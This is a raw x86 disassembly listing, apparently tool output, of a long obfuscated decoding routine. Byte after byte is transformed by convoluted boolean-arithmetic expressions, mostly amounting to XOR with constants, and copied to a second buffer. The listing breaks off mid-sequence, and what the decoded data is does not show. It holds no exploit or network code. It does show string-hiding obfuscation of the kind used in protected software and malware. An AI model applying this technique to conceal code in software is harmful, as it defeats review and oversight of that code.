mov cx, ax
xor cx, 0xffff
and cx, 0x2b13
and ax, 0xd4ec
or cx, ax
mov word [0x475890], cx
mov dx, word [0x475692]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov cx, ax
xor cx, 0x41e6
xor cx, 0xffff
or ax, 0x41e6
and ax, cx
and dx, 0xbe19
mov si, ax
and si, dx
xor ax, dx
or si, ax
mov ax, si
xor ax, 0xffff
and ax, 0xb0c1
and si, 0x4f3e
or ax, si
xor ax, 0x295e
mov word [0x475892], ax
mov ax, word [0x475694]
xor ax, 0x6f94
mov word [0x475894], ax
mov ax, word [0x475696]
mov cx, ax
and cx, 0x1600
shl cx, 1
add ax, 0x1600
sub ax, cx
mov word [0x475896], ax
mov ax, word [0x475698]
mov cx, ax
and cx, 0xac13
shl cx, 1
add ax, 0xac13
sub ax, cx
mov word [0x475898], ax
mov ax, word [0x47569a]
xor ax, 0x2ff2
mov word [0x47589a], ax
mov dx, word [0x47569c]
mov ax, dx
xor ax, 0xffff
mov cx, ax
xor cx, 0xbb10
xor cx, 0xffff
or ax, 0xbb10
and ax, cx
and dx, 0x44ef
or ax, dx
xor ax, 0xd24c
mov word [0x47589c], ax
mov ax, word [0x47569e]
mov cx, ax
xor cx, 0x781d
xor cx, 0xffff
and cx, 0x781d
shl cx, 1
sub cx, 0x781d
sub ax, cx
mov word [0x47589e], ax
mov al, byte [0x4758a0]
mov cl, al
and cl, 0xbd
shl cl, 1
mov dl, al
add dl, 0xbd
sub dl, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and dl, 0xbd
shl dl, 1
sub dl, 0xbd
mov cl, al
xor cl, dl
xor dl, 0xff
and al, dl
shl al, 1
sub al, cl
mov byte [0x475920], al
mov al, byte [0x4758a1]
xor al, 0x1e
mov byte [0x475921], al
mov dl, byte [0x4758a2]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, al
mov ah, dl
xor ah, ah
mov al, dl
add al, ah
sub al, cl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov cl, al
and cl, 0xf3
xor cl, 0xff
add al, 0xf3
add al, 1
add al, cl
xor al, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or cl, 0xc
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
mov byte [0x475922], al
mov al, byte [0x4758a3]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x20
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
mov cl, al
and cl, 0x20
mov ah, al
xor ah, 0xdf
add al, ah
sub al, cl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
and dl, al
mov byte [0x475923], dl
mov al, byte [0x4758a4]
mov cl, al
xor cl, 0x82
xor cl, 0xff
and cl, 0x82
shl cl, 1
sub cl, 0x82
sub al, cl
mov byte [0x475924], al
mov al, byte [0x4758a5]
mov dl, al
xor dl, 0x90
xor dl, 0xff
xor dl, 0xff
or dl, 0x6f
xor dl, 0xff
and dl, 0xff
shl dl, 1
sub dl, 0x90
xor ecx, ecx
sub cl, dl
add al, cl
mov byte [0x475925], al
mov al, byte [0x4758a6]
xor al, 0x24
mov byte [0x475926], al
mov al, byte [0x4758a7]
xor al, 0xf8
mov byte [0x475927], al
mov al, byte [0x4758a8]
xor al, 0x8f
mov byte [0x475928], al
mov al, byte [0x4758a9]
xor al, 0xd5
mov byte [0x475929], al
mov al, byte [0x4758aa]
xor al, 0x34
mov byte [0x47592a], al
mov al, byte [0x4758ab]
mov cl, al
and cl, 0xc
shl cl, 1
sub al, 0xc2
add al, 0xc
add al, 0xc2
sub al, cl
mov byte [0x47592b], al
mov al, byte [0x4758ac]
xor al, 0x6b
mov byte [0x47592c], al
mov al, byte [0x4758ad]
xor al, 0xe5
mov byte [0x47592d], al
mov al, byte [0x4758ae]
mov cl, al
xor cl, 0xff
and cl, 0x9e
and al, 0x61
or cl, al
mov byte [0x47592e], cl
mov al, byte [0x4758af]
mov cl, al
xor cl, 0xa6
xor cl, 0xff
and cl, 0xa6
shl cl, 1
sub cl, 0xa6
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, dl
xor ah, 0xff
or ah, 0x59
and dl, 0xa6
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
shl ah, 1
sub ah, 0xa6
sub al, ah
mov byte [0x47592f], al
mov al, byte [0x4758b0]
xor al, 0xe5
mov byte [0x475930], al
mov al, byte [0x4758b1]
mov cl, al
xor cl, 0xff
and cl, 0x3c
mov dl, al
add dl, 1
xor al, 0xff
or al, 0xc3
add al, dl
or cl, al
xor cl, 0x9c
mov byte [0x475931], cl
mov al, byte [0x4758b2]
mov dl, al
xor dl, 0xff
and dl, 3
mov cl, al
and cl, 0xfc
or dl, cl
xor dl, 0xe4
xor dl, 0xff
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xe7
shl dl, 1
sub dl, 0xe7
sub al, dl
mov byte [0x475932], al
mov bl, byte [0x4758b3]
mov dl, bl
or dl, dl
xor dl, 0xff
or dl, 0x41
xor dl, 0xff
mov al, bl
or al, 0xbe
xor al, 0xff
or dl, al
xor dl, 0xff
mov al, dl
and al, 0xff
shl al, 1
add dl, 0xff
sub dl, al
and dl, 0xbe
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xbe
mov cl, bl
xor cl, 0xff
and cl, al
xor al, 0xff
and bl, al
sub bl, cl
mov byte [0x475933], bl
mov al, byte [0x4758b4]
xor al, 0xe4
mov byte [0x475934], al
mov al, byte [0x4758b5]
mov cl, al
xor cl, 0xff
and cl, 0xdd
and al, 0x22
or cl, al
mov byte [0x475935], cl
mov dl, byte [0x4758b6]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
or cl, ah
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
xor al, 0xff
or al, 0xf6
xor dl, 0xff
or dl, 9
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor al, 0xff
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov byte [0x475936], al
mov al, byte [0x4758b7]
mov cl, al
xor cl, 0x17
xor cl, 0xff
and cl, 0x17
shl cl, 1
sub cl, 0x17
sub al, cl
mov byte [0x475937], al
mov al, byte [0x4758b8]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x2e
xor al, 0xff
or al, 0xd1
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475938], dl
mov al, byte [0x4758b9]
mov cl, al
xor cl, 0xff
and cl, 0x85
and al, 0x7a
or cl, al
mov byte [0x475939], cl
mov al, byte [0x4758ba]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x3a
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0x3a
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47593a], dl
mov bl, byte [0x4758bb]
mov dl, bl
xor dl, 0xff
and dl, 0xb3
mov al, bl
and al, 0x4c
or dl, al
xor dl, 0x28
xor dl, 0xff
and dl, 0x9b
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x9b
sub bl, al
mov byte [0x47593b], bl
mov al, byte [0x4758bc]
xor al, 0xc
mov byte [0x47593c], al
mov al, byte [0x4758bd]
mov dl, al
xor dl, 0x20
xor dl, 0xff
or dl, 0xdf
add dl, 0x21
shl dl, 1
add dl, 0xdf
add dl, 1
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x47593d], al
mov al, byte [0x4758be]
mov cl, al
xor cl, 0xf2
xor cl, 0xff
and cl, 0xf2
shl cl, 1
sub cl, 0xf2
sub al, cl
mov byte [0x47593e], al
mov al, byte [0x4758bf]
mov cl, al
and cl, 0xfd
shl cl, 1
add al, 0xfd
sub al, cl
mov byte [0x47593f], al
mov al, byte [0x4758c0]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
mov dl, ah
xor dl, cl
xor dl, 0xff
or ah, cl
and ah, dl
mov dl, ah
and dl, 0xc1
xor ah, 0xc1
or dl, ah
xor dl, 0xff
xor al, 0xff
mov cl, al
xor cl, 0x3e
and cl, al
or dl, cl
xor dl, 0xff
mov byte [0x475940], dl
mov ah, byte [0x4758c1]
mov al, ah
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xe2
or ah, 0xe2
mov dl, ah
xor dl, 0xff
and dl, 0xa3
and ah, 0x5c
or dl, ah
xor dl, 0x5c
xor al, 0xff
and dl, 0x3f
or dl, 0xc0
xor dl, 0x3f
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
mov byte [0x475941], al
mov al, byte [0x4758c2]
mov cl, al
xor cl, 0x47
xor cl, 0xff
and cl, 0x47
shl cl, 1
sub cl, 0x47
sub al, cl
mov byte [0x475942], al
mov dl, byte [0x4758c3]
mov ah, dl
xor ah, 0xff
mov dh, dl
xor dh, 0xff
mov al, ah
and al, 0xa7
mov cl, dl
and cl, 0x58
mov ch, dh
and ch, 0xa7
mov bl, dl
and bl, 0x58
or al, cl
or ch, bl
xor al, ch
or ah, dh
xor ah, 0xff
and ah, 0xff
or al, ah
xor al, 0xff
mov cl, al
and cl, 0x9f
mov ah, al
xor ah, 0x60
add al, ah
sub al, cl
xor al, 0xff
xor dl, 0xff
and dl, 0x60
or al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x475943], al
mov al, byte [0x4758c4]
mov dl, al
or dl, dl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
and dl, 0x61
xor al, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x9e
add al, cl
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475944], dl
mov al, byte [0x4758c5]
mov cl, al
xor cl, 0xff
and cl, 0xd4
and al, 0x2b
or cl, al
mov byte [0x475945], cl
mov al, byte [0x4758c6]
xor al, 0x7c
mov byte [0x475946], al
mov al, byte [0x4758c7]
xor al, 0x9a
mov byte [0x475947], al
mov al, byte [0x4758c8]
xor al, 0x24
mov byte [0x475948], al
mov al, byte [0x4758c9]
mov cl, al
xor cl, 0x42
and cl, al
shl cl, 1
mov dl, al
and dl, 0xbd
or al, 0xbd
add dl, al
sub dl, cl
mov byte [0x475949], dl
mov al, byte [0x4758ca]
xor al, 0x8f
mov byte [0x47594a], al
mov al, byte [0x4758cb]
xor al, 8
mov byte [0x47594b], al
mov al, byte [0x4758cc]
mov cl, al
xor cl, 0xff
and cl, 0x82
and al, 0x7d
or cl, al
mov byte [0x47594c], cl
mov al, byte [0x4758cd]
mov cl, al
xor cl, 0xff
and cl, 0x94
and al, 0x6b
or cl, al
mov byte [0x47594d], cl
mov al, byte [0x4758ce]
mov cl, al
xor cl, 0xff
and cl, 0x1b
and al, 0xe4
or cl, al
xor cl, 0xec
mov byte [0x47594e], cl
mov cl, byte [0x4758cf]
mov al, cl
xor al, 0xff
and al, 2
mov dl, cl
xor dl, 0xff
or dl, 2
and cl, 0xfd
xor cl, 0xff
and dl, cl
xor dl, 0xff
or al, dl
mov byte [0x47594f], al
mov bl, byte [0x4758d0]
mov al, bl
and al, 0xa1
shl al, 1
mov dl, bl
add dl, 0xa1
sub dl, al
xor dl, 0xff
and dl, 0xa1
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xa1
sub bl, al
mov byte [0x475950], bl
mov al, byte [0x4758d1]
mov cl, al
and cl, 0xb7
shl cl, 1
add al, 0xb7
mov dl, al
xor dl, 0xff
and dl, cl
xor cl, 0xff
and al, cl
sub al, dl
mov byte [0x475951], al
mov al, byte [0x4758d2]
mov cl, al
and cl, 0x67
shl cl, 1
add al, 0x8e
add al, 0x67
sub al, 0x8e
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x475952], al
mov al, byte [0x4758d3]
mov cl, al
xor cl, 0xff
and cl, 0x56
and al, 0xa9
or cl, al
xor cl, 0x5f
mov byte [str._nkrV], cl
mov bl, byte [0x4758d4]
mov al, bl
and al, 0x2f
shl al, 1
mov dl, bl
add dl, 0x2f
sub dl, al
xor dl, 0xff
and dl, 0x2f
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x2f
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x475954], bl
mov al, byte [0x4758d5]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xb
and cl, 0xb
mov dl, al
xor dl, 0xb
and dl, al
or cl, dl
xor cl, 0x36
mov byte [0x475955], cl
mov al, byte [0x4758d6]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, ah
add dl, 1
xor ah, 0xff
or ah, cl
add ah, dl
xor ah, 0xff
mov dl, ah
xor dl, 0x15
and dl, ah
mov cl, al
and cl, 0x15
mov ah, al
xor ah, 0xea
add al, ah
sub al, cl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
or dl, cl
mov al, dl
xor al, 0xff
and al, 0x5d
and dl, 0xa2
or al, dl
xor al, 0xa2
mov byte [0x475956], al
mov al, byte [0x4758d7]
xor al, 0xe8
mov byte [0x475957], al
mov al, byte [0x4758d8]
xor al, 0xa8
mov byte [0x475958], al
mov al, byte [0x4758d9]
mov cl, al
xor cl, 0x23
xor cl, 0xff
and cl, 0x23
shl cl, 1
sub cl, 0x23
sub al, cl
mov byte [0x475959], al
mov al, byte [0x4758da]
xor al, 0xf9
mov byte [0x47595a], al
mov bl, byte [0x4758db]
mov dl, bl
xor dl, 0x84
xor dl, 0xff
and dl, 0xff
or dl, 0
mov al, dl
xor al, 0x84
xor al, 0xff
or dl, 0x84
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0x84
sub bl, al
mov byte [0x47595b], bl
mov al, byte [0x4758dc]
mov cl, al
and cl, 0xe5
shl cl, 1
add al, 0xe5
sub al, cl
mov byte [0x47595c], al
mov al, byte [0x4758dd]
mov cl, al
xor cl, 0xff
and cl, 0xcb
and al, 0x34
or cl, al
xor cl, 0x79
mov byte [0x47595d], cl
mov al, byte [0x4758de]
xor al, 0x2e
mov byte [0x47595e], al
mov dl, byte [0x4758df]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, al
and cl, 0xfa
xor al, 0xfa
or cl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov dh, dl
xor dh, 0xff
mov ah, dh
and ah, 0xa7
and dl, 0x58
or ah, dl
xor ah, 0xa2
or dh, 0xfa
xor dh, 0xff
and dh, 0xff
or ah, dh
xor ah, 0xff
or al, ah
xor al, 0xff
mov byte [0x47595f], al
mov al, byte [0x4758e0]
xor al, 0xfe
mov byte [0x475960], al
mov cl, byte [0x4758e1]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
or al, 0x44
xor al, 0xff
or cl, 0xbb
xor cl, 0xff
or al, cl
xor al, 0xff
mov byte [0x475961], al
mov al, byte [0x4758e2]
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
and cl, 0x92
and al, 0x6d
or cl, al
xor cl, 0xe8
mov byte [0x475962], cl
mov al, byte [0x4758e3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0x91
xor dl, 0xff
or al, 0x6e
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475963], dl
mov al, byte [0x4758e4]
xor al, 0xd1
mov byte [0x475964], al
mov al, byte [0x4758e5]
xor al, 8
mov byte [0x475965], al
mov al, byte [0x4758e6]
mov cl, al
xor cl, 0xff
and cl, 0xd0
and al, 0x2f
or cl, al
xor cl, 0x91
mov byte [0x475966], cl
mov al, byte [0x4758e7]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xdc
xor al, 0xff
or al, 0x23
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475967], dl
mov al, byte [0x4758e8]
xor al, 0xe3
mov byte [0x475968], al
mov al, byte [0x4758e9]
xor al, 0xc
mov byte [0x475969], al
mov al, byte [0x4758ea]
xor al, 0xd
mov byte [0x47596a], al
mov al, byte [0x4758eb]
xor al, 0x43
mov byte [str.yt_b_], al
mov al, byte [0x4758ec]
mov cl, al
xor cl, 0xff
and cl, 0x1a
and al, 0xe5
or cl, al
xor cl, 0x12
mov byte [0x47596c], cl
mov al, byte [0x4758ed]
mov cl, al
and cl, 0xfb
shl cl, 1
add al, 0xfb
sub al, cl
mov byte [0x47596d], al
mov bl, byte [0x4758ee]
mov dl, bl
xor dl, 0xc4
xor dl, 0xff
and dl, 0xc4
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x3b
add al, 1
sub bl, al
mov byte [0x47596e], bl
mov al, byte [0x4758ef]
mov cl, al
xor cl, 0xff
and cl, 0xdb
and al, 0x24
or cl, al
mov byte [0x47596f], cl
mov dl, byte [0x4758f0]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and cl, 0x8d
mov ah, dl
and ah, 0x72
or cl, ah
xor cl, 0x72
or al, cl
xor al, 0xff
or al, 0xe2
mov ah, dl
xor ah, 0xff
and ah, 0xf0
and dl, 0xf
or ah, dl
xor ah, 0xf
mov cl, ah
xor cl, 0xff
and cl, 0xe2
xor ah, 0xff
and ah, 0xe2
or cl, ah
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x475970], al
mov al, byte [0x4758f1]
xor al, 0x44
mov byte [0x475971], al
mov al, byte [0x4758f2]
mov cl, al
xor cl, 0xef
xor cl, 0xff
and cl, 0xef
shl cl, 1
sub cl, 0xef
mov dl, al
sub dl, cl
xor dl, 0xff
and dl, 0xef
shl dl, 1
add dl, 0x10
add dl, 1
add al, 0xc4
sub al, dl
sub al, 0xc4
mov byte [0x475972], al
mov al, byte [0x4758f3]
mov cl, al
xor cl, 0xff
and cl, 0x4a
and al, 0xb5
or cl, al
mov byte [0x475973], cl
mov al, byte [0x4758f4]
xor al, 0x43
mov byte [0x475974], al
mov al, byte [0x4758f5]
mov cl, al
xor cl, 0xff
and cl, 0xea
and al, 0x15
or cl, al
xor cl, 0x68
mov byte [0x475975], cl
mov al, byte [0x4758f6]
xor al, 0xc3
mov byte [0x475976], al
mov al, byte [0x4758f7]
mov cl, al
xor cl, 0xff
and cl, 0x48
and al, 0xb7
or cl, al
mov byte [0x475977], cl
mov al, byte [0x4758f8]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0xca
and al, 0xca
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475978], cl
mov al, byte [0x4758f9]
mov cl, al
xor cl, 0x99
xor cl, 0xff
and cl, 0x99
shl cl, 1
sub cl, 0x99
sub al, cl
mov byte [0x475979], al
mov al, byte [0x4758fa]
xor al, 0x19
mov byte [0x47597a], al
mov al, byte [0x4758fb]
xor al, 6
mov byte [0x47597b], al
mov al, byte [0x4758fc]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x88
xor al, 0xff
and al, 0x77
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47597c], dl
mov al, byte [0x4758fd]
xor al, 0x2b
mov byte [0x47597d], al
mov al, byte [0x4758fe]
mov cl, al
xor cl, 0xff
and cl, 0x38
and al, 0xc7
or cl, al
mov byte [0x47597e], cl
mov ah, byte [0x4758ff]
mov dh, ah
xor dh, 0xff
and dh, 0x91
and ah, 0x6e
mov al, dh
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov dl, al
and dl, 0x2e
and dh, 0xd1
mov cl, bl
and cl, 0x2e
and ah, 0xd1
or dl, dh
or cl, ah
xor dl, cl
or al, bl
xor al, 0xff
and al, 0xff
or dl, al
xor dl, 0x5c
mov byte [0x47597f], dl
mov al, byte [0x475900]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xec
xor al, 0xff
or al, 0x13
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475980], dl
mov al, byte [0x475901]
xor al, 0xbf
mov byte [0x475981], al
mov al, byte [0x475902]
xor al, 0xd1
mov byte [0x475982], al
mov al, byte [0x475903]
mov cl, al
xor cl, 0xff
and cl, 0x21
and al, 0xde
or cl, al
mov byte [0x475983], cl
mov al, byte [0x475904]
xor al, 0xc5
mov byte [0x475984], al
mov al, byte [0x475905]
xor al, 0x21
mov byte [0x475985], al
mov al, byte [0x475906]
xor al, 0xf9
mov byte [0x475986], al
mov al, byte [0x475907]
mov cl, al
xor cl, 0x31
xor cl, 0xff
and cl, 0x31
shl cl, 1
sub cl, 0x31
sub al, cl
mov byte [0x475987], al
mov al, byte [0x475908]
xor al, 0x89
mov byte [0x475988], al
mov al, byte [0x475909]
xor al, 0x1c
mov byte [0x475989], al
mov al, byte [0x47590a]
xor al, 0x19
mov byte [0x47598a], al
mov dl, byte [0x47590b]
mov al, dl
or al, al
xor al, 0xff
or al, 0xd7
xor al, 0xff
xor dl, 0xff
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0xd7
add dl, cl
or al, dl
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x47598b], al
mov dl, byte [0x47590c]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0xe2
xor al, 0xff
and al, 0xff
xor dl, 0xff
and dl, 0xe2
or al, dl
xor al, 0xff
mov byte [0x47598c], al
mov bl, byte [0x47590d]
mov dl, bl
and dl, 0x84
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x84
sub bl, al
mov byte [0x47598d], bl
mov al, byte [0x47590e]
xor al, 0x52
mov byte [0x47598e], al
mov al, byte [0x47590f]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x66
xor dl, 0xff
xor al, 0xff
and al, 0x66
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47598f], dl
mov dl, byte [0x475910]
mov al, dl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x8d
xor dl, 0xff
or dl, 0x72
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, dl
add al, cl
xor al, 0xff
mov byte [0x475990], al
mov al, byte [0x475911]
mov cl, al
xor cl, 0xff
and cl, 0xeb
and al, 0x14
or cl, al
mov byte [0x475991], cl
mov al, byte [0x475912]
mov cl, al
xor cl, 0xff
and cl, 0xe5
and al, 0x1a
or cl, al
mov byte [0x475992], cl
mov al, byte [0x475913]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x5c
xor al, 0xff
or al, 0xa3
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475993], dl
mov al, byte [0x475914]
mov cl, al
xor cl, 0xff
and cl, 0x6b
and al, 0x94
or cl, al
mov byte [0x475994], cl
mov dl, byte [0x475915]
mov al, dl
xor al, 0xff
xor al, 0xff
xor al, 0x8f
and al, 0x8f
mov cl, dl
add cl, 1
xor dl, 0xff
or dl, 0x70
add dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0x1a
mov byte [0x475995], al
mov al, byte [0x475916]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
and dl, 0xf0
and al, 0xf
or dl, al
xor dl, 0x17
mov byte [0x475996], dl
mov dl, byte [0x475917]
mov ah, dl
and ah, ah
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov al, ah
xor al, 0xff
xor ah, 0xff
and al, ah
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0x70
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
or ah, 0x8f
xor al, 0xff
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov byte [0x475997], cl
mov al, byte [0x475918]
mov dl, al
xor dl, 0xff
and dl, 0xcf
mov cl, al
and cl, 0x30
or dl, cl
xor dl, 0x30
mov cl, dl
xor cl, 0x18
xor cl, 0xff
or dl, 0x18
and dl, cl
and al, 0xe7
or dl, al
mov byte [0x475998], dl
mov cl, byte [0x475919]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x63
and cl, 0x63
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x475999], al
mov al, byte [0x47591a]
xor al, 0x16
mov byte [0x47599a], al
mov dl, byte [0x47591b]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
and al, cl
mov cl, al
and cl, 0xd
mov ah, al
xor ah, 0xf2
add al, ah
sub al, cl
xor al, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, 0xf2
or al, dl
xor al, 0xff
mov byte [0x47599b], al
mov al, byte [0x47591c]
xor al, 0x16
mov byte [0x47599c], al
mov al, byte [0x47591d]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xeb
xor dl, 0xff
xor al, 0xff
and al, 0xeb
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47599d], dl
mov al, byte [0x47591e]
xor al, 0xe0
mov byte [0x47599e], al
mov al, byte [0x47591f]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
mov ah, dl
and ah, 0xf2
xor ah, 0xff
xor dl, 0xff
or dl, 0xd
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
and al, 0xd
or ah, al
xor ah, 0xff
mov byte [0x47599f], ah
mov al, byte [0x4750a0]
xor al, 2
mov byte [0x4752a0], al
mov al, byte [0x4750a1]
mov cl, al
and cl, 0xea
shl cl, 1
add al, 0xea
sub al, cl
mov byte [0x4752a1], al
mov al, byte [0x4750a2]
mov cl, al
xor cl, 0xff
and cl, 0xc5
and al, 0x3a
or cl, al
mov byte [0x4752a2], cl
mov al, byte [0x4750a3]
and al, al
mov dl, al
xor dl, 0xff
and dl, 0x2a
and al, 0xd5
or dl, al
xor dl, 0xd5
and dl, 0xff
mov al, dl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or al, 0
mov byte [0x4752a3], al
mov al, byte [0x4750a4]
xor al, 0x89
mov byte [0x4752a4], al
mov al, byte [0x4750a5]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xb6
xor cl, 0xff
and al, 0x49
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x4752a5], cl
mov al, byte [0x4750a6]
mov cl, al
xor cl, 0xff
and cl, 5
and al, 0xfa
or cl, al
mov byte [0x4752a6], cl
mov al, byte [0x4750a7]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x58
xor dl, 0xff
xor al, 0xff
or al, 0x58
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4752a7], dl
mov bl, byte [0x4750a8]
mov dl, bl
and dl, 0xe
mov al, dl
xor al, 0xff
